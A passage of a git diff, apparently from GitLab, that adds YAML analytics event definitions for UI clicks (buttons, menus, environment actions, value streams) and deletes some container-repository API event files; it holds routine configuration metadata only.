+milestone: "13.5"
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/41846
+distributions:
+- ce
+- ee
+tiers:
+- free
+- premium
+- ultimate
diff --git a/config/events/20211215022206_default_click_button.yml b/config/events/20211215022206_default_click_button.yml
new file mode 100644
index 00000000000..f233a4ccdfe
--- /dev/null
+++ b/config/events/20211215022206_default_click_button.yml
@@ -0,0 +1,21 @@
+description: "Reply comment on design annotations"
+category: default
+action: click_button
+label_description: ""
+property_description: ""
+value_description: ""
+extra_properties:
+identifiers:
+product_section: ""
+product_stage: ""
+product_group: ""
+product_category:
+milestone:
+introduced_by_url:
+distributions:
+- ce
+- ee
+tiers:
+- free
+- premium
+- ultimate
diff --git a/config/events/20211215022206_default_click_link.yml b/config/events/20211215022206_default_click_link.yml
new file mode 100644
index 00000000000..b19d1047580
--- /dev/null
+++ b/config/events/20211215022206_default_click_link.yml
@@ -0,0 +1,21 @@
+description: "Go to evironments documentation"
+category: default
+action: click_link
+label_description: ""
+property_description: ""
+value_description: ""
+extra_properties:
+identifiers:
+product_section: ops
+product_stage: release
+product_group: group::release
+product_category:
+milestone: "13.12"
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/57160
+distributions:
+- ce
+- ee
+tiers:
+- free
+- premium
+- ultimate
diff --git a/config/events/20211215022206_default_click_menu.yml b/config/events/20211215022206_default_click_menu.yml
new file mode 100644
index 00000000000..3e8dc847ce3
--- /dev/null
+++ b/config/events/20211215022206_default_click_menu.yml
@@ -0,0 +1,25 @@
+description: "Click navigation menu"
+category: default
+action: click_menu
+label_description: ""
+property_description: ""
+value_description: ""
+extra_properties:
+ sidebar_display:
+ type: string
+ menu_display:
+ type: string
+identifiers:
+product_section: dev
+product_stage: create
+product_group: group::editor
+product_category:
+milestone: "14.0"
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/62030
+distributions:
+- ce
+- ee
+tiers:
+- free
+- premium
+- ultimate
diff --git a/config/events/20211215022206_default_click_menu_item.yml b/config/events/20211215022206_default_click_menu_item.yml
new file mode 100644
index 00000000000..6f8a8fd8fb2
--- /dev/null
+++ b/config/events/20211215022206_default_click_menu_item.yml
@@ -0,0 +1,25 @@
+description: "Click navigation menu item"
+category: default
+action: click_menu_item
+label_description: ""
+property_description: ""
+value_description: ""
+extra_properties:
+ sidebar_display:
+ type: string
+ menu_display:
+ type: string
+identifiers:
+product_section: dev
+product_stage: create
+product_group: group::editor
+product_category:
+milestone: "14.0"
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/62030
+distributions:
+- ce
+- ee
+tiers:
+- free
+- premium
+- ultimate
diff --git a/config/events/20211215022206_default_comment_button_title_button_click_button.yml b/config/events/20211215022206_default_comment_button_title_button_click_button.yml
new file mode 100644
index 00000000000..28f893d52c6
--- /dev/null
+++ b/config/events/20211215022206_default_comment_button_title_button_click_button.yml
@@ -0,0 +1,21 @@
+description: "Select comment type from dropdown"
+category: default
+action: click_button
+label_description: "`[comment_button_title]_button`"
+property_description: ""
+value_description: ""
+extra_properties:
+identifiers:
+product_section: dev
+product_stage: plan
+product_group: group::product_planning
+product_category:
+milestone: "13.10"
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/50933
+distributions:
+- ce
+- ee
+tiers:
+- free
+- premium
+- ultimate
diff --git a/config/events/20211215022206_default_congratulate_first_pipeline_click_button.yml b/config/events/20211215022206_default_congratulate_first_pipeline_click_button.yml
new file mode 100644
index 00000000000..c20c29b3114
--- /dev/null
+++ b/config/events/20211215022206_default_congratulate_first_pipeline_click_button.yml
@@ -0,0 +1,21 @@
+description: "Go to pipeline on pipeline celebration"
+category: default
+action: click_button
+label_description: "`congratulate_first_pipeline`"
+property_description: "`[admin | maintainer | developer | owner]`"
+value_description: "`10`"
+extra_properties:
+identifiers:
+product_section: growth
+product_stage: growth
+product_group: group::expansion
+product_category:
+milestone: "12.10"
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/28378
+distributions:
+- ce
+- ee
+tiers:
+- free
+- premium
+- ultimate
diff --git a/config/events/20211215022206_default_create_or_import_a_repository_click_link.yml b/config/events/20211215022206_default_create_or_import_a_repository_click_link.yml
new file mode 100644
index 00000000000..3c7ac2b9af4
--- /dev/null
+++ b/config/events/20211215022206_default_create_or_import_a_repository_click_link.yml
@@ -0,0 +1,21 @@
+description: "Click link to create or import a repository"
+category: default
+action: click_link
+label_description: "`Create or import a repository`"
+property_description: "`[Growth::Conversion::Experiment::LearnGitLab | Growth::Activation::Experiment::InviteForHelpContinuousOnboarding]`"
+value_description: ""
+extra_properties:
+identifiers:
+product_section: growth
+product_stage: growth
+product_group: group::conversion
+product_category:
+milestone: "13.12"
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/58689
+distributions:
+- ce
+- ee
+tiers:
+- free
+- premium
+- ultimate
diff --git a/config/events/20211215022206_default_create_value_stream_form_open_click_button.yml b/config/events/20211215022206_default_create_value_stream_form_open_click_button.yml
new file mode 100644
index 00000000000..ae8900ef174
--- /dev/null
+++ b/config/events/20211215022206_default_create_value_stream_form_open_click_button.yml
@@ -0,0 +1,21 @@
+description: "Create stream value"
+category: default
+action: click_button
+label_description: "`create_value_stream_form_open`"
+property_description: ""
+value_description: ""
+extra_properties:
+identifiers:
+product_section: dev
+product_stage: manage
+product_group: group::optimize
+product_category:
+milestone: "14.0"
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/62865
+distributions:
+- ce
+- ee
+tiers:
+- free
+- premium
+- ultimate
diff --git a/config/events/20211215022206_default_create_value_stream_form_open_click_dropdown.yml b/config/events/20211215022206_default_create_value_stream_form_open_click_dropdown.yml
new file mode 100644
index 00000000000..667cb6eaa1c
--- /dev/null
+++ b/config/events/20211215022206_default_create_value_stream_form_open_click_dropdown.yml
@@ -0,0 +1,21 @@
+description: "Create stream value from dropdown"
+category: default
+action: click_dropdown
+label_description: "`create_value_stream_form_open`"
+property_description: ""
+value_description: ""
+extra_properties:
+identifiers:
+product_section: dev
+product_stage: manage
+product_group: group::optimize
+product_category:
+milestone: "14.0"
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/62865
+distributions:
+- ce
+- ee
+tiers:
+- free
+- premium
+- ultimate
diff --git a/config/events/20211215022206_default_delete_value_stream_form_open_click_dropdown.yml b/config/events/20211215022206_default_delete_value_stream_form_open_click_dropdown.yml
new file mode 100644
index 00000000000..6567cba4f42
--- /dev/null
+++ b/config/events/20211215022206_default_delete_value_stream_form_open_click_dropdown.yml
@@ -0,0 +1,21 @@
+description: "Delete stream value from dropdown"
+category: default
+action: click_dropdown
+label_description: "`delete_value_stream_form_open`"
+property_description: ""
+value_description: ""
+extra_properties:
+identifiers:
+product_section: dev
+product_stage: manage
+product_group: group::optimize
+product_category:
+milestone: "14.0"
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/62865
+distributions:
+- ce
+- ee
+tiers:
+- free
+- premium
+- ultimate
diff --git a/config/events/20211215022206_default_diff_copy_file_path_button_click_copy_file_button.yml b/config/events/20211215022206_default_diff_copy_file_path_button_click_copy_file_button.yml
new file mode 100644
index 00000000000..4d7919317fc
--- /dev/null
+++ b/config/events/20211215022206_default_diff_copy_file_path_button_click_copy_file_button.yml
@@ -0,0 +1,21 @@
+description: "Copy file path on diffs"
+category: default
+action: click_copy_file_button
+label_description: "`diff_copy_file_path_button`"
+property_description: "`diff_copy_file`"
+value_description: ""
+extra_properties:
+identifiers:
+product_section: ""
+product_stage: ""
+product_group: ""
+product_category:
+milestone:
+introduced_by_url:
+distributions:
+- ce
+- ee
+tiers:
+- free
+- premium
+- ultimate
diff --git a/config/events/20211215022206_default_diff_toggle_external_button_click_toggle_external_button.yml b/config/events/20211215022206_default_diff_toggle_external_button_click_toggle_external_button.yml
new file mode 100644
index 00000000000..4e5fc9fbcb1
--- /dev/null
+++ b/config/events/20211215022206_default_diff_toggle_external_button_click_toggle_external_button.yml
@@ -0,0 +1,21 @@
+description: "Click toggle external button on diff"
+category: default
+action: click_toggle_external_button
+label_description: "`diff_toggle_external_button`"
+property_description: "`diff_toggle_external`"
+value_description: ""
+extra_properties:
+identifiers:
+product_section: ""
+product_stage: ""
+product_group: ""
+product_category:
+milestone:
+introduced_by_url:
+distributions:
+- ce
+- ee
+tiers:
+- free
+- premium
+- ultimate
diff --git a/config/events/20211215022206_default_edit_assignee_click_invite_members.yml b/config/events/20211215022206_default_edit_assignee_click_invite_members.yml
new file mode 100644
index 00000000000..4db394216e5
--- /dev/null
+++ b/config/events/20211215022206_default_edit_assignee_click_invite_members.yml
@@ -0,0 +1,21 @@
+description: "Click edit assignee button when inviting members"
+category: default
+action: click_invite_members
+label_description: "`edit_assignee`"
+property_description: ""
+value_description: ""
+extra_properties:
+identifiers:
+product_section: growth
+product_stage: growth
+product_group: group::expansion
+product_category:
+milestone: "14.0"
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/62505
+distributions:
+- ce
+- ee
+tiers:
+- free
+- premium
+- ultimate
diff --git a/config/events/20211215022206_default_edit_click_consolidated_edit.yml b/config/events/20211215022206_default_edit_click_consolidated_edit.yml
new file mode 100644
index 00000000000..e36d2be7e62
--- /dev/null
+++ b/config/events/20211215022206_default_edit_click_consolidated_edit.yml
@@ -0,0 +1,21 @@
+description: "Edit a single file"
+category: default
+action: click_consolidated_edit
+label_description: "`edit`"
+property_description: ""
+value_description: ""
+extra_properties:
+identifiers:
+product_section: dev
+product_stage: create
+product_group: group::editor
+product_category:
+milestone: "14.1"
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/64179
+distributions:
+- ce
+- ee
+tiers:
+- free
+- premium
+- ultimate
diff --git a/config/events/20211215022206_default_edit_reviewer_click_invite_members.yml b/config/events/20211215022206_default_edit_reviewer_click_invite_members.yml
new file mode 100644
index 00000000000..d3470c1cdf7
--- /dev/null
+++ b/config/events/20211215022206_default_edit_reviewer_click_invite_members.yml
@@ -0,0 +1,21 @@
+description: "Click edit reviewer button when inviting members"
+category: default
+action: click_invite_members
+label_description: "`edit_reviewer`"
+property_description: ""
+value_description: ""
+extra_properties:
+identifiers:
+product_section: growth
+product_stage: growth
+product_group: group::expansion
+product_category:
+milestone: "14.0"
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/62505
+distributions:
+- ce
+- ee
+tiers:
+- free
+- premium
+- ultimate
diff --git a/config/events/20211215022206_default_edit_value_stream_form_open_click_button.yml b/config/events/20211215022206_default_edit_value_stream_form_open_click_button.yml
new file mode 100644
index 00000000000..04494a475d7
--- /dev/null
+++ b/config/events/20211215022206_default_edit_value_stream_form_open_click_button.yml
@@ -0,0 +1,21 @@
+description: "Edit stream value"
+category: default
+action: click_button
+label_description: "`edit_value_stream_form_open`"
+property_description: ""
+value_description: ""
+extra_properties:
+identifiers:
+product_section: dev
+product_stage: manage
+product_group: group::optimize
+product_category:
+milestone: "14.0"
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/62865
+distributions:
+- ce
+- ee
+tiers:
+- free
+- premium
+- ultimate
diff --git a/config/events/20211215022206_default_environment_actions_click_dropdown.yml b/config/events/20211215022206_default_environment_actions_click_dropdown.yml
new file mode 100644
index 00000000000..09bf51ac3d3
--- /dev/null
+++ b/config/events/20211215022206_default_environment_actions_click_dropdown.yml
@@ -0,0 +1,21 @@
+description: "Click a environment action button"
+category: default
+action: click_dropdown
+label_description: "`environment_actions`"
+property_description: ""
+value_description: ""
+extra_properties:
+identifiers:
+product_section: ops
+product_stage: release
+product_group: group::release
+product_category:
+milestone: "14.2"
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/66968
+distributions:
+- ce
+- ee
+tiers:
+- free
+- premium
+- ultimate
diff --git a/config/events/20211215022206_default_environment_delete_click_button.yml b/config/events/20211215022206_default_environment_delete_click_button.yml
new file mode 100644
index 00000000000..6d8f7932fc2
--- /dev/null
+++ b/config/events/20211215022206_default_environment_delete_click_button.yml
@@ -0,0 +1,21 @@
+description: "Click environment delete button"
+category: default
+action: click_button
+label_description: "`environment_delete`"
+property_description: ""
+value_description: ""
+extra_properties:
+identifiers:
+product_section: ops
+product_stage: release
+product_group: group::release
+product_category:
+milestone: "14.2"
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/66968
+distributions:
+- ce
+- ee
+tiers:
+- free
+- premium
+- ultimate
diff --git a/config/events/20211215022206_default_environment_monitoring_click_button.yml b/config/events/20211215022206_default_environment_monitoring_click_button.yml
new file mode 100644
index 00000000000..f445c84d6d8
--- /dev/null
+++ b/config/events/20211215022206_default_environment_monitoring_click_button.yml
@@ -0,0 +1,21 @@
+description: "Click environment monitoring button"
+category: default
+action: click_button
+label_description: "`environment_monitoring`"
+property_description: ""
+value_description: ""
+extra_properties:
+identifiers:
+product_section: ops
+product_stage: release
+product_group: group::release
+product_category:
+milestone: "14.2"
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/66968
+distributions:
+- ce
+- ee
+tiers:
+- free
+- premium
+- ultimate
diff --git a/config/events/20211215022206_default_environment_pin_click_button.yml b/config/events/20211215022206_default_environment_pin_click_button.yml
new file mode 100644
index 00000000000..fc7400f6041
--- /dev/null
+++ b/config/events/20211215022206_default_environment_pin_click_button.yml
@@ -0,0 +1,21 @@
+description: "Click environment pin button"
+category: default
+action: click_button
+label_description: "`environment_pin`"
+property_description: ""
+value_description: ""
+extra_properties:
+identifiers:
+product_section: ops
+product_stage: release
+product_group: group::release
+product_category:
+milestone: "14.2"
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/66968
+distributions:
+- ce
+- ee
+tiers:
+- free
+- premium
+- ultimate
diff --git a/config/events/20211215022206_default_environment_rollback_click_button.yml b/config/events/20211215022206_default_environment_rollback_click_button.yml
new file mode 100644
index 00000000000..67849044c5a
--- /dev/null
+++ b/config/events/20211215022206_default_environment_rollback_click_button.yml
@@ -0,0 +1,21 @@
+description: "Click environment rollback button"
+category: default
+action: click_button
+label_description: "`environment_rollback`"
+property_description: ""
+value_description: ""
+extra_properties:
+identifiers:
+product_section: ops
+product_stage: release
+product_group: group::release
+product_category:
+milestone: "14.2"
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/66968
+distributions:
+- ce
+- ee
+tiers:
+- free
+- premium
+- ultimate
diff --git a/config/events/20211215022206_default_environment_stop_click_button.yml b/config/events/20211215022206_default_environment_stop_click_button.yml
new file mode 100644
index 00000000000..ad2974e9221
--- /dev/null
+++ b/config/events/20211215022206_default_environment_stop_click_button.yml
@@ -0,0 +1,21 @@
+description: "Click environment stop button"
+category: default
+action: click_button
+label_description: "`environment_stop`"
+property_description: ""
+value_description: ""
+extra_properties:
+identifiers:
+product_section: ops
+product_stage: release
+product_group: group::release
+product_category:
+milestone: "14.2"
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/66968
+distributions:
+- ce
+- ee
+tiers:
+- free
+- premium
+- ultimate
diff --git a/config/events/20211215022206_default_environment_terminal_click_button.yml b/config/events/20211215022206_default_environment_terminal_click_button.yml
new file mode 100644
index 00000000000..6f5fcc96416
--- /dev/null
+++ b/config/events/20211215022206_default_environment_terminal_click_button.yml
@@ -0,0 +1,21 @@
+description: "Click environment terminal button"
+category: default
+action: click_button
+label_description: "`environment_terminal`"
+property_description: ""
+value_description: ""
+extra_properties:
+identifiers:
+product_section: ops
+product_stage: release
+product_group: group::release
+product_category:
+milestone: "14.2"
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/66968
+distributions:
+- ce
+- ee
+tiers:
+- free
+- premium
+- ultimate
diff --git a/config/events/20211215022206_default_environment_url_click_button.yml b/config/events/20211215022206_default_environment_url_click_button.yml
new file mode 100644
index 00000000000..74a85043848
--- /dev/null
+++ b/config/events/20211215022206_default_environment_url_click_button.yml
@@ -0,0 +1,21 @@
+description: "Click environment URL button"
+category: default
+action: click_button
+label_description: "`environment_url`"
+property_description: ""
+value_description: ""
+extra_properties:
+identifiers:
+product_section: ops
+product_stage: release
+product_group: group::release
+product_category:
+milestone: "14.2"
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/66968
+distributions:
+- ce
+- ee
+tiers:
+- free
+- premium
+- ultimate
diff --git a/config/events/20211215022206_default_export_issuable_type_csv_click_button.yml b/config/events/20211215022206_default_export_issuable_type_csv_click_button.yml
new file mode 100644
index 00000000000..ec29f3af000
--- /dev/null
+++ b/config/events/20211215022206_default_export_issuable_type_csv_click_button.yml
@@ -0,0 +1,21 @@
+description: "Click button to export issuable as CSV"
+category: default
+action: click_button
+label_description: "`export_[issuable_type]_csv`"
+property_description: ""
+value_description: ""
+extra_properties:
+identifiers:
+product_section: dev
+product_stage: manage
+product_group: group::optimize
+product_category:
+milestone: "13.10"
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/54214
+distributions:
+- ce
+- ee
+tiers:
+- free
+- premium
+- ultimate
diff --git a/config/events/20211215022206_default_feature_flag_toggle_click_button.yml b/config/events/20211215022206_default_feature_flag_toggle_click_button.yml
new file mode 100644
index 00000000000..ddd641470e9
--- /dev/null
+++ b/config/events/20211215022206_default_feature_flag_toggle_click_button.yml
@@ -0,0 +1,21 @@
+description: "Click feature flag toggle button"
+category: default
+action: click_button
+label_description: "`feature_flag_toggle`"
+property_description: ""
+value_description: ""
+extra_properties:
+identifiers:
+product_section: ops
+product_stage: release
+product_group: group::release
+product_category:
+milestone: "13.4"
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/40023
+distributions:
+- ce
+- ee
+tiers:
+- free
+- premium
+- ultimate
diff --git a/config/events/20211215022206_default_feature_title_click_whats_new_item.yml b/config/events/20211215022206_default_feature_title_click_whats_new_item.yml
new file mode 100644
index 00000000000..f74fa614667
--- /dev/null
+++ b/config/events/20211215022206_default_feature_title_click_whats_new_item.yml
@@ -0,0 +1,21 @@
+description: "Click item in What's new component"
+category: default
+action: click_whats_new_item
+label_description: "`[feature_title]`"
+property_description: "`[feature_url]`"
+value_description: ""
+extra_properties:
+identifiers:
+product_section: growth
+product_stage: growth
+product_group: group::adoption
+product_category:
+milestone: "13.12"
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/60804
+distributions:
+- ce
+- ee
+tiers:
+- free
+- premium
+- ultimate
diff --git a/config/events/20211215022206_default_home_page_click_go_to_preferences.yml b/config/events/20211215022206_default_home_page_click_go_to_preferences.yml
new file mode 100644
index 00000000000..6f17156c36c
--- /dev/null
+++ b/config/events/20211215022206_default_home_page_click_go_to_preferences.yml
@@ -0,0 +1,21 @@
+description: "Go to preferences from home page"
+category: default
+action: click_go_to_preferences
+label_description: "`home_page`"
+property_description: ""
+value_description: ""
+extra_properties:
+identifiers:
+product_section: ""
+product_stage: ""
+product_group: ""
+product_category:
+milestone:
+introduced_by_url:
+distributions:
+- ce
+- ee
+tiers:
+- free
+- premium
+- ultimate
diff --git a/config/events/20211215022206_default_mr_next_unresolved_thread_click_button.yml b/config/events/20211215022206_default_mr_next_unresolved_thread_click_button.yml
new file mode 100644
index 00000000000..0b09c1eb74d
--- /dev/null
+++ b/config/events/20211215022206_default_mr_next_unresolved_thread_click_button.yml
@@ -0,0 +1,21 @@
+description: "Click button to jump to next unresolved thread"
+category: default
+action: click_button
+label_description: "`mr_next_unresolved_thread`"
+property_description: "`click_next_unresolved_thread_top`"
+value_description: ""
+extra_properties:
+identifiers:
+product_section: ""
+product_stage: ""
+product_group: ""
+product_category:
+milestone:
+introduced_by_url:
+distributions:
+- ce
+- ee
+tiers:
+- free
+- premium
+- ultimate
diff --git a/config/events/20211215022206_default_mr_widget_terraform_mr_plan_button_click_terraform_mr_plan_button.yml b/config/events/20211215022206_default_mr_widget_terraform_mr_plan_button_click_terraform_mr_plan_button.yml
new file mode 100644
index 00000000000..1e49d44513e
--- /dev/null
+++ b/config/events/20211215022206_default_mr_widget_terraform_mr_plan_button_click_terraform_mr_plan_button.yml
@@ -0,0 +1,21 @@
+description: "Click Terraform MR plan button"
+category: default
+action: click_terraform_mr_plan_button
+label_description: "mr_widget_terraform_mr_plan_button"
+property_description: "`terraform_mr_plan_button`"
+value_description: ""
+extra_properties:
+identifiers:
+product_section: ops
+product_stage: configure
+product_group: group::configure
+product_category:
+milestone: "13.2"
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/34392
+distributions:
+- ce
+- ee
+tiers:
+- free
+- premium
+- ultimate
diff --git a/config/events/20211215022206_default_no_pipeline_noticed_click_button.yml b/config/events/20211215022206_default_no_pipeline_noticed_click_button.yml
new file mode 100644
index 00000000000..ba2026ab074
--- /dev/null
+++ b/config/events/20211215022206_default_no_pipeline_noticed_click_button.yml
@@ -0,0 +1,21 @@
+description: "Go to pipelines after suggestion"
+category: default
+action: click_button
+label_description: "`no_pipeline_noticed`"
+property_description: "`[admin | maintainer | developer | owner]`"
+value_description: "`10`"
+extra_properties:
+identifiers:
+product_section: growth
+product_stage: growth
+product_group: group::expansion
+product_category:
+milestone: "12.9"
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/23823
+distributions:
+- ce
+- ee
+tiers:
+- free
+- premium
+- ultimate
diff --git a/config/events/20211215022206_default_reply_comment_button_click_button.yml b/config/events/20211215022206_default_reply_comment_button_click_button.yml
new file mode 100644
index 00000000000..007026bbb0b
--- /dev/null
+++ b/config/events/20211215022206_default_reply_comment_button_click_button.yml
@@ -0,0 +1,21 @@
+description: "Click reply comment button"
+category: default
+action: click_button
+label_description: "`reply_comment_button`"
+property_description: ""
+value_description: ""
+extra_properties:
+identifiers:
+product_section: dev
+product_stage: plan
+product_group: group::product_planning
+product_category:
+milestone: "13.9"
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/53753
+distributions:
+- ce
+- ee
+tiers:
+- free
+- premium
+- ultimate
diff --git a/config/events/20211215022206_default_review_app_open_review_app.yml b/config/events/20211215022206_default_review_app_open_review_app.yml
new file mode 100644
index 00000000000..8ba726e4708
--- /dev/null
+++ b/config/events/20211215022206_default_review_app_open_review_app.yml
@@ -0,0 +1,21 @@
+description: "Go to review app"
+category: default
+action: open_review_app
+label_description: "`review_app`"
+property_description: ""
+value_description: ""
+extra_properties:
+identifiers:
+product_section: ops
+product_stage: verify
+product_group: group::testing
+product_category:
+milestone: "12.6"
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/18141
+distributions:
+- ce
+- ee
+tiers:
+- free
+- premium
+- ultimate
diff --git a/config/events/20211215022206_default_right_sidebar_click_edit_button.yml b/config/events/20211215022206_default_right_sidebar_click_edit_button.yml
new file mode 100644
index 00000000000..6df0f2e9bfe
--- /dev/null
+++ b/config/events/20211215022206_default_right_sidebar_click_edit_button.yml
@@ -0,0 +1,21 @@
+description: "Click edit reviewer button on right sidebar"
+category: default
+action: click_edit_button
+label_description: "`right_sidebar`"
+property_description: "`reviewer`"
+value_description: ""
+extra_properties:
+identifiers:
+product_section: ""
+product_stage: ""
+product_group: ""
+product_category:
+milestone:
+introduced_by_url:
+distributions:
+- ce
+- ee
+tiers:
+- free
+- premium
+- ultimate
diff --git a/config/events/20211215022206_default_search_autocomplete_suggestion_click_text.yml b/config/events/20211215022206_default_search_autocomplete_suggestion_click_text.yml
new file mode 100644
index 00000000000..ff5d321aa4d
--- /dev/null
+++ b/config/events/20211215022206_default_search_autocomplete_suggestion_click_text.yml
@@ -0,0 +1,21 @@
+description: "Click autocomplete option"
+category: default
+action: click_text
+label_description: "`search_autocomplete_suggestion`"
+property_description: "Slugged option category"
+value_description: "Option index"
+extra_properties:
+identifiers:
+product_section: enablement
+product_stage: enablement
+product_group: group::global_search
+product_category:
+milestone: "13.4"
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/40822
+distributions:
+- ce
+- ee
+tiers:
+- free
+- premium
+- ultimate
diff --git a/config/events/20211215022206_default_show_labels_toggle.yml b/config/events/20211215022206_default_show_labels_toggle.yml
new file mode 100644
index 00000000000..d7a2e16b51f
--- /dev/null
+++ b/config/events/20211215022206_default_show_labels_toggle.yml
@@ -0,0 +1,21 @@
+description: "Toggle labels on boards"
+category: default
+action: toggle
+label_description: "`show_labels`"
+property_description: "`[on | off]`"
+value_description: ""
+extra_properties:
+identifiers:
+product_section: ""
+product_stage: ""
+product_group: ""
+product_category:
+milestone:
+introduced_by_url:
+distributions:
+- ce
+- ee
+tiers:
+- free
+- premium
+- ultimate
diff --git a/config/events/20211215022206_default_slugged_stream_name_click_dropdown.yml b/config/events/20211215022206_default_slugged_stream_name_click_dropdown.yml
new file mode 100644
index 00000000000..d25e3ed4ead
--- /dev/null
+++ b/config/events/20211215022206_default_slugged_stream_name_click_dropdown.yml
@@ -0,0 +1,21 @@
+description: "Selec stream from dropdown"
+category: default
+action: click_dropdown
+label_description: "Slugged stream name"
+property_description: ""
+value_description: ""
+extra_properties:
+identifiers:
+product_section: dev
+product_stage: manage
+product_group: group::optimize
+product_category:
+milestone: "14.0"
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/62865
+distributions:
+- ce
+- ee
+tiers:
+- free
+- premium
+- ultimate
diff --git a/config/events/20211215022206_default_suggest_commit_first_project_gitlab_ci_yml__click_button.yml b/config/events/20211215022206_default_suggest_commit_first_project_gitlab_ci_yml__click_button.yml
new file mode 100644
index 00000000000..ff993716f74
--- /dev/null
+++ b/config/events/20211215022206_default_suggest_commit_first_project_gitlab_ci_yml__click_button.yml
@@ -0,0 +1,21 @@
+description: "Dismiss GitLab CI suggestion popover"
+category: default
+action: click_button
+label_description: "[ `suggest_commit_first_project_gitlab_ci_yml` ]"
+property_description: "`[admin | maintainer | developer | owner]`"
+value_description: "`10`"
+extra_properties:
+identifiers:
+product_section: growth
+product_stage: growth
+product_group: group::expansion
+product_category:
+milestone: "12.10"
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/26105
+distributions:
+- ce
+- ee
+tiers:
+- free
+- premium
+- ultimate
diff --git a/config/events/20211215022206_default_web_ide_click_consolidated_edit_ide.yml b/config/events/20211215022206_default_web_ide_click_consolidated_edit_ide.yml
new file mode 100644
index 00000000000..bd705f7e3a6
--- /dev/null
+++ b/config/events/20211215022206_default_web_ide_click_consolidated_edit_ide.yml
@@ -0,0 +1,21 @@
+description: "Edit multiple files with Web IDE"
+category: default
+action: click_consolidated_edit_ide
+label_description: "`web_ide`"
+property_description: ""
+value_description: ""
+extra_properties:
+identifiers:
+product_section: dev
+product_stage: create
+product_group: group::editor
+product_category:
+milestone: "14.1"
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/64179
+distributions:
+- ce
+- ee
+tiers:
+- free
+- premium
+- ultimate
diff --git a/config/events/api__group_container_repositories_list_repositories.yml b/config/events/api__group_container_repositories_list_repositories.yml
deleted file mode 100644
index 4df063ec758..00000000000
--- a/config/events/api__group_container_repositories_list_repositories.yml
+++ /dev/null
@@ -1,18 +0,0 @@
-description: List group repositories
-category: API::GroupContainerRepositories
-action: list_repositories
-label_description:
-property_description:
-value_description:
-extra_properties:
-identifiers:
-product_section: ops
-product_stage: package
-product_group: package
-product_category:
-milestone: "13.5"
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/41846
-distributions:
-- ce
-tiers:
-- free
diff --git a/config/events/api__project_container_repositories_delete_repository.yml b/config/events/api__project_container_repositories_delete_repository.yml
deleted file mode 100644
index 196f7273a5c..00000000000
--- a/config/events/api__project_container_repositories_delete_repository.yml
+++ /dev/null
@@ -1,18 +0,0 @@
-description: Delete project container repository
-category: API::ProjectContainerRepositories
-action: delete_repository
-label_description:
-property_description:
-value_description:
-extra_properties:
-identifiers:
-product_section: ops
-product_stage: package
-product_group: package
-product_category:
-milestone: "13.5"
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/41846
-distributions:
-- ce
-tiers:
-- free
diff --git a/config/events/api__project_container_repositories_delete_tag.yml b/config/events/api__project_container_repositories_delete_tag.yml
deleted file mode 100644
index cb2c7748faa..00000000000
--- a/config/events/api__project_container_repositories_delete_tag.yml
+++ /dev/null
@@ -1,18 +0,0 @@
-description: Delete project container tag
-category: API::ProjectContainerRepositories
-action: delete_tag
-label_description:
-property_description:
-value_description:
-extra_properties:
-identifiers:
-product_section: ops
-product_stage: package
-product_group: package
-product_category:
-milestone: "13.5"
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/41846
-distributions:
-- ce
-tiers:
-- free
diff --git a/config/events/api__project_container_repositories_delete_tag_bulk.yml b/config/events/api__project_container_repositories_delete_tag_bulk.yml
deleted file mode 100644
index e36f835308b..00000000000
--- a/config/events/api__project_container_repositories_delete_tag_bulk.yml
+++ /dev/null
@@ -1,18 +0,0 @@
-description: Delete project container tag in bulk
-category: API::ProjectContainerRepositories
-action: delete_tag_bulk
-label_description:
-property_description:
-value_description:
-extra_properties:
-identifiers:
-product_section: ops
-product_stage: package
-product_group: package
-product_category:
-milestone: "13.5"
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/41846
-distributions:
-- ce
-tiers:
-- free
diff --git a/config/events/api__project_container_repositories_list_repositories.yml b/config/events/api__project_container_repositories_list_repositories.yml
deleted file mode 100644
index 9c8063891af..00000000000
--- a/config/events/api__project_container_repositories_list_repositories.yml
+++ /dev/null
@@ -1,18 +0,0 @@
-description: List project repositories
-category: API::ProjectContainerRepositories
-action: list_repositories
